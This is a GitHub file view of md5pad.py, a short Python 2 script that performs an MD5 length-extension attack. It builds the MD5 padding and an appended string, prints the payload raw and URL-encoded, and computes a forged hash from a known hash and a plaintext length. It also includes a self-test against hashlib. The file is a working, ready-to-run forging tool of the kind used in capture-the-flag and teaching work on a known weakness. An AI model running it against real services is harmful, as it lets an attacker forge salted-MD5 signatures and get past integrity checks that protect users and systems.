-
Notifications
You must be signed in to change notification settings - Fork 22
/
Copy pathmd5pad.py
55 lines (41 loc) · 1.32 KB
/
md5pad.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
# coding:utf-8
import md5py
import sys
from urllib import unquote
import hashlib
import struct
import urllib
def payload(length, str_append):
pad = ''
n0 = ((56 - (length + 1) % 64) % 64)
pad += '\x80'
pad += '\x00'*n0 + struct.pack('Q', length*8)
return pad + str_append
def hashmd5(str):
return hashlib.md5(str).hexdigest()
def check_extension_attack():
for i in range(1, 65):
s = "A" * i
mm = md5py.md5()
assert hashlib.md5(s).hexdigest() == mm.my_md5(s)
print mm.my_md5(s)
for i in range(1, 100):
for j in range(1, 10):
s = 'A' * i
salt = 'B' * j
mm = md5py.md5()
msg = salt + s + payload(len(salt+s), 'joychou')
assert hashmd5(msg) == mm.extension_attack(hashmd5(salt+s), 'joychou', len(salt+s))
# check if md5 extension attack is correct
# check_extension_attack()
if len(sys.argv) < 3:
print "Usage: ", sys.argv[0], " <md5string> <string_to_append> [length of plaintext of md5string]"
sys.exit()
hash_origin = sys.argv[1]
str_append = sys.argv[2]
lenth = int(sys.argv[3])
m = md5py.md5()
str_payload = payload(lenth, str_append)
print "Payload: ", repr(str_payload)
print "Payload urlencode:", urllib.quote_plus(str_payload)
print "md5:", m.extension_attack(hash_origin, str_append, lenth)